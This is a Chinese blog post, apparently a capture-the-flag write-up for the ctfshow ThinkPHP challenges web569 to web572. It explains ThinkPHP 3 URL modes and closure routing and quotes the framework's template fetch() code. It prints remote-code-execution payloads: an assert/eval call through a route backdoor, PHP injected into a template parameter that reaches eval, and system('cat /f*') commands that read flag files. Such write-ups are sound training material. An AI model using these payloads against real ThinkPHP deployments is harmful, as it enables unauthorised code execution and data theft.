ctfshow ThinkPHP专题 1

阅读约 6 分钟

web569

做这题之前,先补充下thinkphp3的URL模式,ThinkPHP支持的 URL模式有四种:普通模式、PATHINFO、REWRITE和兼容模式。

入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作:

http://serverName/index.php/模块/控制器/操作

--普通模式:

普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如:

http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参 数。

--PATHINFO模式:

PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够 支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是:

http://localhost/index.php/home/user/login/var/value/

PATHINFO地址的前三个参数分别表示模块/控制器/操作。

--REWRITE模式:

REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。

http://localhost/home/user/login/var/value

--兼容模式:

兼容模式是用于不支持PATHINFO的特殊环境,URL地址是:

http://localhost/?s=/home/user/login/var/value

其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义

回到题目569,要求使用pathinfo模式进行访问,那么payload就简单了。(默认大小写不敏感)

payload:

http://671a5ba9-1876-433b-85fd-ed8f400f61fa.challenge.ctf.show/index.php/Admin/Login/ctfshowLogin

web570

补充下路由的知识

利用路由功能,可以让你的URL地址更加简洁和优雅。ThinkPHP支持对模块的URL地址进行路由操作(路由功能 是针对PATHINFO模式或者兼容URL而设计的,暂时不支持普通URL模式)。

ThinkPHP的路由功能包括:

  • 正则路由
  • 规则路由
  • 静态路由(URL映射)
  • 闭包支持

闭包定义

我们可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法了,例如:

'URL_ROUTE_RULES'=>array(
    'test' =>function(){
       echo 'just test';
       },

    'hello/:name' =>function($name){
       echo 'Hello,'.$name;
       }
)

当我们访问的url地址是:http://url/index.php/test,则浏览器输出的结果是: just test

当我们访问的url地址是:http://url/index.php/jack,则浏览器输出的结果是: Hello jack

在Application/Commom/Conf/config.php中,发现闭包路由后门

当我们访问url/index.php/ctfshow/aaa/bbb时,会执行call_user_func(aaa,bbb)函数

PHP函数详解:call_user_func()使用方法 - djiz - 博客园使用方法 - djiz - 博客园")

call_user_func(aaa,bbb) 就是执行aaa()函数,bbb当做其参数

在用get传参是会出现;/传不进去的情况,这时可以这样传参:

#get
url/index.php/ctfshow/assert/eval($_POST[1])
#post
1=system('cat /fla*');

web571

ThinkPHP 3.2.3 漏洞复现 - 安全客,安全资讯平台

Home\Controller\IndexController 下的index中传入了一个可控参数

一路跟进到 fetch(),然后一路进入 Hook::listen('view_parse', $params);

public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

yu22x:

可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。

所以我们直接传php代码就可以了。

payload:

?n=<?php system('cat /f*');?>

web572

此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作

爆破日期出来,看到从?showctf 可以rce

/index.php?showctf=<?php system("cat /f*");?>


 赏 
感谢您的支持,我会继续努力哒!
~~  The   End  ~~

文章二维码 本文标签:web
最后编辑:2022 年 07 月 23 日 17:41 By ThnPkm
本文链接:http://thnpkm.xyz/index.php/archives/70/(转载时请注明出处及链接! )
作品采用: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可协议授权。
1 + 4 =
快来做第一个评论的人吧~